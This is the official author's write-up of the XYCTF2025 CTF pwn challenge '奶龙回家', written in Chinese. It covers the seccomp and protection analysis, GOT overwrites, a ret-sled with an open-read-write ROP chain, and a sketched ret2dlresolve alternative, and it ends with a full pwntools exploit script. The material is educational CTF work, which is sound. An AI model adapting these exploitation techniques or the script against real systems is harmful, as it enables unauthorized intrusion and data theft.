XYCTF2025-奶龙回家官方WP

XYCTF2025 奶龙回家官方WP

说在前面的话

这是我第一次为CTF比赛出题,所以可能稍微有点不足

师傅们也都太强辣,这题师傅们做出了2种非预期,我也是学到了很多骚操作,不过貌似还是预期解更简单,所以官方WP就主要写一下预期解的思路,非预期也会提一下的,不是因为我懒(x)

解题思路

首先checksec发现仅关闭PIE保护,程序是64位(其实这是废话(x))

image-20250507221503456

seccomp-tools查看一下沙箱保护发现允许read write open nanosleep openat 系统调用(注意openat是goto 0011 所以也是允许的)

image-20250507221513550

接下来直接拖进IDA中看一下,发现是C++写的,并且去除了符号表,这里我们自己把函数名和变量名重命名一下

如果觉得有点乱可以先运行一下程序,发现输出了rbp+offset的值

image-20250507221522665

然后仔细分析ida程序,发现会让你输入一个数来控制程序循环次数,第一次限制了输入大小不能超过2,但是后面有将它强制转换成unsigned int 类型,所以只需要输入-1就可以给我们充分循环的次数,程序限制了任意地址读只能执行一次,且无法通过覆盖got表之类的方法绕过退出函数,因为death函数里面有一段直接jmp到不存在地址的汇编,直接导致程序崩溃。任意地址写我们可以执行多次(和循环次数有关),总循环大于5时会调用sleep函数,sleep函数的系统调用并不是nanosleep,所以程序会崩溃绕过方式也很简单,以为可以任意地址写,所以我们将sleep的got表改成程序中无用的函数地址,也可以直接写入ret的地址,因为调用函数前会push下一条指令的地址到栈中把sleep got表改成ret的地址刚好将原本程序下一条指令给pop到rdi中

image-20250507221529685

image-20250507221534791

一下基本的绕过方式就理清楚了,现在我们可以进行任意地址写很多次,以及任意地址读,接下来的解法就很多了,可以通过随机数种子算出rbp把offset求出来,然后写rop链子。也可以把strtoll的got表改成gets的got表直接溢出,打TLS结构体绕过Canary,还可以直接写ret滑梯来执行rop链

下面用最方便的思路来,其他思路读者可以自行研究

通过调试或ida中查看可以发现main函数栈帧的空间极大,所以不用担心用泄露出的rbp+offset直接-0x200会覆盖掉程序中的关键部分,导致程序崩溃

image-20250507221543330

所以我们将泄露出的rbp+offset直接-0x200 作为理想rbp地址(注意要补齐8的倍数) 从理想rbp地址开始写0x40个ret,然后就是放我们的常规的orw rop链了,最后将exit的got表覆盖为leave;ret这段gadget的地址,下一次循环输入5,直接进行leave;ret,肯定能命中我们的任意一段ret,然后程序rsp指针一直向高地址滑,直到滑到我们之前写好的orw rop链子;由于题目没给libc,可以先用本地的打通,然后通过任意地址读,leak出的libc地址去libc-database下载对应的libc,试几次就可以了

还有一种不需要依赖于libc的打法,可以通过ret2dlresolve打,由于是64位的libc,_dl_fixup会从符号版本信息列表l_versions[]中根据偏移获取符号的版本信息,而该偏移则是我们伪造的r_info的index 64位可能不会到可映射区域,所以要将 l_info[VERSYMIDX(DT_VERSYM)]设置为null,从而绕过version = &l->l_versions[ndx];语句分支

而这个的地址得先知道link_map的地址才能定位,所以用唯一一次任意地址读的机会泄露出link_map的地址,然后就是rop链子就是常规的Partial RELRO下的ret2dlresolve了,不过还是通过libc-database搜索尝试libc的方式简单一些,基于ret2dlresolve的解题思路读者可以下去自行研究

下面放出官方exp(依赖libc的ret滑梯)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
elf = ELF('./nailong')
libc = ELF('./libc6_2.35-0ubuntu3.8_amd64.so')
#sh = process('./nailong')
sh = remote('ip',port)
#gdb.attach(sh,'b* 0x401AF0\nc')
bypass_addr = 4210784
bss_addr = 4211104
read_addr = 4210888
ret_addr_1 = 0x0040101a
ret_addr_2 = 0x00000000
bss_addr_1 = 0x004041A0
bss_addr_2 = 0x00000000
flag_addr_1 = 0x004041C0
flag_addr_2 = 0x00000000
exit_addr = 4210872

sh.recvuntil('offset:')
rbp_offset_addr = int(sh.recvuntil('end')[:-3].decode())
if rbp_offset_addr % 8 != 0:
rbp_offset_addr += 8 - (rbp_offset_addr % 8)
success(hex(rbp_offset_addr))

sh.sendlineafter('xiao_peng_you_ni_zhi_dao_wo_yao_qu_ji_lou_ma\n',str(-1))
sh.sendlineafter('chose 4 bin/sh\n',str(2))
sh.sendafter('what you want do?\n',str(bypass_addr))
sh.sendafter('read you want\n',p32(0x4017A8))

sh.sendlineafter('chose 4 bin/sh\n',str(2))
sh.sendafter('what you want do?\n',str(bss_addr))
sh.sendafter('read you want\n',b'/fla')
bss_addr += 0x4

sh.sendlineafter('chose 4 bin/sh\n',str(2))
sh.sendafter('what you want do?\n',str(bss_addr))
sh.sendafter('read you want\n',b'g\x00\x00\x00')
rbp = rbp_offset_addr - 0x200
rbp +=0x8

#success(hex(rbp))
for i in range(1,65):
sh.sendlineafter('chose 4 bin/sh\n', str(2))
sh.sendafter('what you want do?\n', str(rbp))
sh.sendafter('read you want\n', p32(ret_addr_1))
rbp += 0x4
sh.sendlineafter('chose 4 bin/sh\n', str(2))
sh.sendafter('what you want do?\n', str(rbp))
sh.sendafter('read you want\n', p32(ret_addr_2))
rbp +=0x4

sh.sendlineafter('chose 4 bin/sh\n',str(1))
sh.sendafter('what you want do?\n',str(read_addr))
read_got = u64(sh.recv(6).ljust(8,'\x00'.encode()))
success(hex(read_got))
#success(hex(rbp))
offset = read_got - libc.symbols['read']
libc.address = offset
pop_rdi = 0x000000000002a3e5 + offset
pop_rdi_1 = pop_rdi & 0xFFFFFFFF
pop_rdi_2 = (pop_rdi >> 32) & 0xFFFFFFFF
leave_ret = 0x000000000004da83 + offset
leave_ret_1 = leave_ret & 0xFFFFFFFF
leave_ret_2 = leave_ret >> 32
pop_rsi = 0x000000000002be51 +offset
pop_rsi_1 = pop_rsi & 0xFFFFFFFF
pop_rsi_2 = (pop_rsi >> 32) & 0xFFFFFFFF
pop_rdx = 0x0000000000401650
pop_rdx_1 = pop_rdx & 0xFFFFFFFF
pop_rdx_2 = (pop_rdx >> 32) & 0xFFFFFFFF
open_addr = libc.symbols['open']
open_addr_1 = open_addr & 0xFFFFFFFF
open_addr_2 = (open_addr >> 32) & 0xFFFFFFFF
read_addr = libc.symbols['read']
read_addr_1 = read_addr & 0xFFFFFFFF
read_addr_2 = (read_addr >> 32) & 0xFFFFFFFF
write_addr = libc.symbols['write']
write_addr_1 = write_addr & 0xFFFFFFFF
write_addr_2 = (write_addr >> 32) & 0xFFFFFFFF
sh.sendlineafter('chose 4 bin/sh\n', str(2))
sh.sendafter('what you want do?\n', str(exit_addr))
sh.sendafter('read you want\n', p32(leave_ret_1))
exit_addr +=0x4
sh.sendlineafter('chose 4 bin/sh\n', str(2))
sh.sendafter('what you want do?\n', str(exit_addr))
sh.sendafter('read you want\n', p32(leave_ret_2))
def rop_chain(v1, v2, rbp):
sh.sendlineafter('chose 4 bin/sh\n', str(2))
sh.sendafter('what you want do?\n', str(rbp))
sh.sendafter('read you want\n', p32(v1))
rbp += 0x4
sh.sendlineafter('chose 4 bin/sh\n', str(2))
sh.sendafter('what you want do?\n', str(rbp))
sh.sendafter('read you want\n', p32(v2))
rbp += 0x4
return rbp
rbp = rop_chain(pop_rdi_1, pop_rdi_2, rbp)
rbp = rop_chain(bss_addr_1, bss_addr_2, rbp)
rbp = rop_chain(pop_rsi_1, pop_rsi_2, rbp)
rbp = rop_chain(0, 0, rbp)
rbp = rop_chain(open_addr_1, open_addr_2, rbp)
rbp = rop_chain(pop_rdi_1, pop_rdi_2, rbp)
rbp = rop_chain(3, 0, rbp)
rbp = rop_chain(pop_rsi_1, pop_rsi_2, rbp)
rbp = rop_chain(flag_addr_1, flag_addr_2, rbp)
rbp = rop_chain(pop_rdx_1, pop_rdx_2, rbp)
rbp = rop_chain(0x50, 0, rbp)
rbp = rop_chain(read_addr_1, read_addr_2, rbp)
rbp = rop_chain(pop_rdi_1, pop_rdi_2, rbp)
rbp = rop_chain(1, 0, rbp)
rbp = rop_chain(pop_rsi_1, pop_rsi_2, rbp)
rbp = rop_chain(flag_addr_1, flag_addr_2, rbp)
rbp = rop_chain(pop_rdx_1, pop_rdx_2, rbp)
rbp = rop_chain(0x50, 0, rbp)
rbp = rop_chain(write_addr_1, write_addr_2, rbp)
sh.sendlineafter('chose 4 bin/sh\n', str(5))
sh.interactive()
#0x7fffc9f571dfs
#140736581693919